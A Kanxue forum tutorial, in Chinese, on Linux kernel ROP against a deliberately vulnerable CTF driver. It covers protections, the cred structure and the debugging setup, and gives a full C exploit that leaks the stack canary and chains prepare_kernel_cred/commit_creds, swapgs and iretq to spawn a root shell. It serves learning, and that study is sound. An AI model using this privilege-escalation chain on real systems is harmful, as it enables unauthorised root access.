其他
Linux Kernel Pwn_0_kernel ROP与驱动调试
本文为看雪论优秀文章
看雪论坛作者ID:Ta1pax0s
date:2020-07-12 13:31:38
tags:
categories:kernel
cover:
https://s1.ax1x.com/2020/07/14/UNnv1P.png
前置知识
内核保护相关
SMAP/SMEP
在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr。physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。
简单来讲就是隔离了内核和用户空间,内核没法用用户空间的代码。
Stack protector
Kernel Address Display Restriction
KALSR
内核提权相关
方式
cred结构体
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
/* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
状态切换
user2kernl:
ENTRY(entry_SYSCALL_64)
/*
* Interrupts are off on entry.
* We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON,
* it is too small to ever cause noticeable irq latency.
*/
SWAPGS_UNSAFE_STACK //swapgs
/*
* A hypervisor implementation might want to use a label
* after the swapgs, so that it can do the swapgs
* for the guest and jump here on syscall.
*/
GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
TRACE_IRQS_OFF
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
/*
* If we need to do entry work or if we guess we'll need to do
* exit work, go straight to the slow path.
*/
movq PER_CPU_VAR(current_task), %r11
testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11)
jnz entry_SYSCALL64_slow_path
1.swapgs切换到kernel GS
2.保存栈值,设置内核栈#define PER_CPU_VAR(var) %__percpu_seg:var其中%__percpu_seg是GS
3.压栈保存寄存器
4.判断类型
5.通过系统调用号跳转
entry_SYSCALL64_slow_path:
/* IRQs are off. */
SAVE_EXTRA_REGS
movq %rsp, %rdi
call do_syscall_64 /* returns with IRQs disabled */
kernel2user
2.iretq(加上寄存器信息)或sysretq
文件结构
1.boot.sh:内核启动脚本;
qemu-system-x86_64 \ "默认使用qemu启动"
-kernel bzImage \ "Linux内核镜像文件"
-initrd rootfs.img \ "打包后的文件系统"
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet" \ "启动界面为终端、内存文件系统RamDisk、"
-cpu qemu64,+smep,+smap \ "开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误"
-nographic \ "非图形界面"
2.bzImage:Linux内核镜像文件;
3.rootfs.img:打包后的文件系统;
4.rop.ko:有漏洞的驱动文件;
5.vmlinux:vmlinux是未压缩的内核,vmlinux 是ELF文件,即编译出来的最原始的文件。用于kernel-debug,产生system.map符号表,不能用于直接加载,不可以作为启动内核。只是启动过程中的中间媒体。
-cpu kvm64,+smep,+smap 设置 CPU的安全选项, 这里开启了 smap 和 smep
-kernel 设置内核 bzImage 文件的路径
-initrd 设置(利用 busybox 创建的 )rootfs.img ,作为内核启动的文件系统
-gdb tcp::1234 设置 gdb 的调试端口 为 1234
启动之前
首先要对打包后的文件系统进行处理解包:
cp rootfs.img rootfs.cpio
mkdir core
cd core
mv ../rootfs.cpio ./
cpio -idmv < rootfs.cpio
find .| cpio -o --format=newc > ../rootfs.img
查看开机自启动脚本 core/etc/init.d:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s
insmod /home/pwn/rop.ko
chmod -R 111 /bin
chmod -R 111 /usr/bin
chmod -R 111 /sbin
cat /proc/kallsyms > /tmp/kallsyms # 当/proc/sys/kernel/kptr_restrict=1时,普通用户不能通过/proc/kallsyms读取函数地址,为减少难度直接将kallsyms内容写入临时目录
chmod 666 /tmp/kallsyms
chown -R 1000:1000 /home/pwn
chown 0:0 /flag
chmod 700 /flag
chmod 666 /dev/rop_dev
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
/proc/kallsyms与内核符号相关。
rop.ko文件
void __cdecl dangerous(size_t num)
{
char overflow[16]; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readgsqword(0x28u);
*(_QWORD *)overflow = 0LL;
*(_QWORD *)&overflow[8] = 0LL;
printk(&unk_37F, v2); // 打出canary
memcpy(overflow, kernel_buf, num);
}
ROP链构造
查看kaslr与基地址偏移
若此时startup_64不为0xffffffff81000000则差值就是内核基地址的加载偏移
用户态与内核态的切换
size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
内核态返回用户态:
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
ROPgadget
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| test al, 1 ; ret |
|----------------------|
|mov rdi, rax |
|test rax, rax |
|jne 0xffffffff810f1220|
| ret |
|----------------------|
| addr of |
| commit_creds() |
|----------------------|
| swapgs; |
| pop rbp; ret |
|----------------------|
| NULL |
|----------------------|
| iretq; |
|----------------------|
| shell |
|----------------------|
| user_CS |
|----------------------|
| user_EFLAGS |
|----------------------|
| user_RSP |
|----------------------|
| user_SS |<== high mem
|----------------------|
查找iretq
自己写了一个小sh文件:
gcc exp.c -masm=intel -static -o exp &&
cp exp ./core/home/pwn/ &&
cd core/ &&
sh gen.sh &&
echo "success!" &&
cd ../ &&
sh boot.sh
向驱动中的函数下断点
但是经过我实际测试,这三个应该效果是一样的,但你必须修改rcS启动脚本以root启动,才能看到真正的地址要不然就是0x000000000。
效果如下:
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define N 256
size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void shell(){
printf("root");
system("/bin/sh");
}
size_t get_addr(char *name){
char cmd[N];
FILE *f;
size_t info;
memset(cmd,0,256);
strcat(cmd,"cat /tmp/kallsyms | grep ");
strcat(cmd,name);
strcat(cmd," >");
strcat(cmd," ");
strcat(cmd,name);
//printf("execute: %s\n",cmd);
system(cmd);
f = fopen(name,"r");
if(!f){
printf("fopen error!\n");
exit(-1);
}
fscanf(f,"%lx",&info);
printf("%s : %lx\n",name,info);
fclose(f);
return info;
}
size_t get_canary(){
FILE *f;
size_t info;
char *name = "canary";
system("dmesg | grep canary > canary");
f = fopen(name,"r");
if(!f){
printf("fopen error!\n");
exit(-1);
}
fseek(f,strlen("[ 32.050924] canary is "),SEEK_SET);
fscanf(f,"%lx",&info);
printf("%s : %lx\n",name,info);
fclose(f);
return info;
}
void *rop(size_t *rop,size_t offset,size_t prepare_kernel_cred,size_t commit_creds){
int i=0;
rop[i++] = 0xffffffff810013a8 + offset; //pop rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff8101647d + offset; // 0xffffffff8101647d : test al, 1 ; ret
rop[i++] = 0xffffffff8138e454 + offset; // 0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret
//A pointer to the new cred struct will be stored in %rax which can then be moved to %rdi again and passed as the first argument to commit_creds().
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81c00d5a + offset; // swapgs ; popfq ; ret
rop[i++] = 0x0;
rop[i++] = 0xffffffff81021d02 + offset; // iretq
rop[i++] = (size_t)shell; //rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
}
int main(){
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
save_status();
startup_64 = get_addr("startup_64");
prepare_kernel_cred = get_addr("prepare_kernel_cred");
commit_creds = get_addr("commit_creds");
offset = startup_64 - 0xffffffff81000000;
printf("offset : %lx\n",offset);
int fd = open("/dev/rop_dev",O_WRONLY);
if(fd<0){
printf("open error!\n");
exit(-2);
}
size_t payload[0x10] = {0x1};
write(fd,payload,0x10);
write(fd,payload,0x10); //双写打出canary(缓冲区)
canary = get_canary();
printf("size_t : %ld\n",sizeof(size_t));
size_t payload2[20]={0};
payload2[0] = 0x6161616161616161;
payload2[1] = 0x6161616161616161; // 0x10
payload2[2] = canary;
save_status();
rop(&payload2[3],offset,prepare_kernel_cred,commit_creds);
printf("start to pwn >\n");
write(fd,payload2,17*8);
printf("over!\n");
return 0;
}
参考
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防护机制
https://bbs.pediy.com/thread-226696.htm
看雪ID:Ta1pax0s
https://bbs.pediy.com/user-home-876323.htm
*本文由看雪论坛 Ta1pax0s 原创,转载请注明来自看雪社区。
地点:上海浦东喜来登由由酒店 2楼大宴会厅
我们不见不散!
推荐文章++++
求分享
求点赞
求在看